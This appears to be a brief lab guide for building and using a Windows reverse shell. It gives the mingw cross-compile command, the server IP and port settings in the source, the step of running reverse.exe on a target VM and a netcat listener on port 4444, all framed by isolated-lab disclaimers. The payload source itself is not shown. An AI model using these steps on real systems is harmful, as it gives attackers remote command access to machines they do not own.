Educational reverse shell for lab testing.
Do not use on systems you do not control.
- Purpose: training and isolated lab testing only.
- Cross-compiled Windows executable.
- Single IP config point in code.
- Transfer and run only inside an isolated VM you control.
Run this cross-compile command on your build host:
x86_64-w64-mingw32-g++ payload.cpp -o reverse.exe -static -lws2_32 -lshlwapi -lcomctl32Edit one place in the source:
// CONFIGURE_ME: change to your test-lab IP only
const char* SERVER_IP = "127.0.0.1";
const int SERVER_PORT = 4444;Open cmd.exe or PowerShell on the isolated Windows VM:
reverse.exeUse a simple TCP listener on your control machine:
nc -lvnp 4444- Create an isolated test network.
- Use VMs you fully control.
- Transfer files with controlled methods (SCP, secured share).
- Never target third-party systems without explicit permission.